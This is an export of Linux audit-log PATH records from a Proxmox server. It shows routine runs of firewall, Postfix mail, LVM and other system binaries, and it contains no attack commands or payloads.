{"@timestamp":1781965041581,"@rawstring":"node=pve type=PATH msg=audit(1781965041.581:63773): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041581,"@rawstring":"node=pve type=PATH msg=audit(1781965041.581:63773): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041581,"@rawstring":"node=pve type=PATH msg=audit(1781965041.581:63772): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041581,"@rawstring":"node=pve type=PATH msg=audit(1781965041.581:63771): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041571,"@rawstring":"node=pve type=PATH msg=audit(1781965041.571:63770): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041571,"@rawstring":"node=pve type=PATH msg=audit(1781965041.571:63770): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041571,"@rawstring":"node=pve type=PATH msg=audit(1781965041.571:63769): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041571,"@rawstring":"node=pve type=PATH msg=audit(1781965041.571:63768): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038803,"@rawstring":"node=pve type=PATH msg=audit(1781965038.803:63767): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038803,"@rawstring":"node=pve type=PATH msg=audit(1781965038.803:63767): item=0 name=\"/usr/sbin/postdrop\" inode=292972 dev=fc:01 mode=0102555 ouid=0 ogid=105 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038797,"@rawstring":"node=pve type=PATH msg=audit(1781965038.797:63766): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038797,"@rawstring":"node=pve type=PATH msg=audit(1781965038.797:63766): item=0 name=\"/usr/sbin/sendmail\" inode=292989 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038776,"@rawstring":"node=pve type=PATH msg=audit(1781965038.776:63765): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038776,"@rawstring":"node=pve type=PATH msg=audit(1781965038.776:63765): item=0 name=\"/usr/libexec/proxmox-mail-forward\" inode=301234 dev=fc:01 mode=0104755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038767,"@rawstring":"node=pve type=PATH msg=audit(1781965038.767:63764): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038767,"@rawstring":"node=pve type=PATH msg=audit(1781965038.767:63764): item=0 name=\"/usr/lib/postfix/sbin/local\" inode=292940 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038756,"@rawstring":"node=pve type=PATH msg=audit(1781965038.756:63763): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038756,"@rawstring":"node=pve type=PATH msg=audit(1781965038.756:63763): item=0 name=\"/usr/lib/postfix/sbin/bounce\" inode=292932 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038692,"@rawstring":"node=pve type=PATH msg=audit(1781965038.692:63762): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038692,"@rawstring":"node=pve type=PATH msg=audit(1781965038.692:63762): item=0 name=\"/usr/lib/postfix/sbin/smtp\" inode=292939 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038680,"@rawstring":"node=pve type=PATH msg=audit(1781965038.680:63761): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038680,"@rawstring":"node=pve type=PATH msg=audit(1781965038.680:63761): item=0 name=\"/usr/lib/postfix/sbin/trivial-rewrite\" inode=292961 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038670,"@rawstring":"node=pve type=PATH msg=audit(1781965038.670:63760): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038670,"@rawstring":"node=pve type=PATH msg=audit(1781965038.670:63760): item=0 name=\"/usr/lib/postfix/sbin/cleanup\" inode=292933 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038663,"@rawstring":"node=pve type=PATH msg=audit(1781965038.663:63759): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038663,"@rawstring":"node=pve type=PATH msg=audit(1781965038.663:63759): item=0 name=\"/usr/sbin/postdrop\" inode=292972 dev=fc:01 mode=0102555 ouid=0 ogid=105 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038657,"@rawstring":"node=pve type=PATH msg=audit(1781965038.657:63758): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038657,"@rawstring":"node=pve type=PATH msg=audit(1781965038.657:63758): item=0 name=\"/usr/sbin/sendmail\" inode=292989 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038644,"@rawstring":"node=pve type=PATH msg=audit(1781965038.644:63757): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038644,"@rawstring":"node=pve type=PATH msg=audit(1781965038.644:63757): item=0 name=\"/bin/cp\" inode=260670 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038644,"@rawstring":"node=pve type=PATH msg=audit(1781965038.644:63756): item=0 name=\"/sbin/cp\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038516,"@rawstring":"node=pve type=PATH msg=audit(1781965038.516:63755): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038516,"@rawstring":"node=pve type=PATH msg=audit(1781965038.516:63755): item=0 name=\"/usr/bin/kvm\" inode=305063 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038479,"@rawstring":"node=pve type=PATH msg=audit(1781965038.479:63754): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038479,"@rawstring":"node=pve type=PATH msg=audit(1781965038.479:63754): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038454,"@rawstring":"node=pve type=PATH msg=audit(1781965038.454:63753): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038454,"@rawstring":"node=pve type=PATH msg=audit(1781965038.454:63753): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038413,"@rawstring":"node=pve type=PATH msg=audit(1781965038.413:63752): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038413,"@rawstring":"node=pve type=PATH msg=audit(1781965038.413:63752): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038397,"@rawstring":"node=pve type=PATH msg=audit(1781965038.397:63751): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038397,"@rawstring":"node=pve type=PATH msg=audit(1781965038.397:63751): item=0 name=\"/usr/sbin/dmsetup\" inode=265309 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038396,"@rawstring":"node=pve type=PATH msg=audit(1781965038.396:63750): item=0 name=\"\" inode=4348 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038395,"@rawstring":"node=pve type=PATH msg=audit(1781965038.395:63749): item=0 name=\"\" inode=733 dev=00:06 mode=060660 ouid=0 ogid=6 rdev=fc:06 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038393,"@rawstring":"node=pve type=PATH msg=audit(1781965038.393:63748): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038393,"@rawstring":"node=pve type=PATH msg=audit(1781965038.393:63748): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038393,"@rawstring":"node=pve type=PATH msg=audit(1781965038.393:63748): item=0 name=\"/usr/lib/udev/vdev_id\" inode=263837 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038387,"@rawstring":"node=pve type=PATH msg=audit(1781965038.387:63747): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038387,"@rawstring":"node=pve type=PATH msg=audit(1781965038.387:63747): item=0 name=\"/usr/sbin/dmsetup\" inode=265309 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038384,"@rawstring":"node=pve type=PATH msg=audit(1781965038.384:63746): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038384,"@rawstring":"node=pve type=PATH msg=audit(1781965038.384:63746): item=0 name=\"/usr/sbin/dmsetup\" inode=265309 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038383,"@rawstring":"node=pve type=PATH msg=audit(1781965038.383:63745): item=0 name=\"\" inode=4348 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038383,"@rawstring":"node=pve type=PATH msg=audit(1781965038.383:63744): item=0 name=\"\" inode=733 dev=00:06 mode=060660 ouid=0 ogid=6 rdev=fc:06 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=PATH msg=audit(1781965038.381:63743): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=PATH msg=audit(1781965038.381:63743): item=0 name=\"/usr/libexec/nfsrahead\" inode=289542 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=PATH msg=audit(1781965038.381:63742): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=PATH msg=audit(1781965038.381:63742): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=PATH msg=audit(1781965038.381:63742): item=0 name=\"/usr/lib/udev/vdev_id\" inode=263837 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038357,"@rawstring":"node=pve type=PATH msg=audit(1781965038.357:63741): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038357,"@rawstring":"node=pve type=PATH msg=audit(1781965038.357:63741): item=0 name=\"/sbin/lvchange\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038315,"@rawstring":"node=pve type=PATH msg=audit(1781965038.315:63740): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038315,"@rawstring":"node=pve type=PATH msg=audit(1781965038.315:63740): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038274,"@rawstring":"node=pve type=PATH msg=audit(1781965038.274:63739): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038274,"@rawstring":"node=pve type=PATH msg=audit(1781965038.274:63739): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038236,"@rawstring":"node=pve type=PATH msg=audit(1781965038.236:63738): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038236,"@rawstring":"node=pve type=PATH msg=audit(1781965038.236:63738): item=0 name=\"/bin/df\" inode=260688 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038236,"@rawstring":"node=pve type=PATH msg=audit(1781965038.236:63737): item=0 name=\"/sbin/df\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038226,"@rawstring":"node=pve type=PATH msg=audit(1781965038.226:63736): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038226,"@rawstring":"node=pve type=PATH msg=audit(1781965038.226:63736): item=0 name=\"/bin/ionice\" inode=260770 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038226,"@rawstring":"node=pve type=PATH msg=audit(1781965038.226:63735): item=0 name=\"/sbin/ionice\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036566,"@rawstring":"node=pve type=PATH msg=audit(1781965036.566:63734): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036566,"@rawstring":"node=pve type=PATH msg=audit(1781965036.566:63734): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036566,"@rawstring":"node=pve type=PATH msg=audit(1781965036.566:63733): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036566,"@rawstring":"node=pve type=PATH msg=audit(1781965036.566:63732): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036558,"@rawstring":"node=pve type=PATH msg=audit(1781965036.558:63731): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036558,"@rawstring":"node=pve type=PATH msg=audit(1781965036.558:63731): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036558,"@rawstring":"node=pve type=PATH msg=audit(1781965036.558:63730): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036558,"@rawstring":"node=pve type=PATH msg=audit(1781965036.558:63729): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036037,"@rawstring":"node=pve type=PATH msg=audit(1781965036.037:63728): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036037,"@rawstring":"node=pve type=PATH msg=audit(1781965036.037:63728): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036034,"@rawstring":"node=pve type=PATH msg=audit(1781965036.034:63727): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036034,"@rawstring":"node=pve type=PATH msg=audit(1781965036.034:63727): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036033,"@rawstring":"node=pve type=PATH msg=audit(1781965036.033:63726): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036033,"@rawstring":"node=pve type=PATH msg=audit(1781965036.033:63726): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036033,"@rawstring":"node=pve type=PATH msg=audit(1781965036.033:63725): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036029,"@rawstring":"node=pve type=PATH msg=audit(1781965036.029:63724): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036029,"@rawstring":"node=pve type=PATH msg=audit(1781965036.029:63724): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036029,"@rawstring":"node=pve type=PATH msg=audit(1781965036.029:63724): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036021,"@rawstring":"node=pve type=PATH msg=audit(1781965036.021:63723): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036021,"@rawstring":"node=pve type=PATH msg=audit(1781965036.021:63723): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036013,"@rawstring":"node=pve type=PATH msg=audit(1781965036.013:63722): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036013,"@rawstring":"node=pve type=PATH msg=audit(1781965036.013:63722): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036004,"@rawstring":"node=pve type=PATH msg=audit(1781965036.004:63721): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036004,"@rawstring":"node=pve type=PATH msg=audit(1781965036.004:63721): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035997,"@rawstring":"node=pve type=PATH msg=audit(1781965035.997:63720): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035997,"@rawstring":"node=pve type=PATH msg=audit(1781965035.997:63720): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 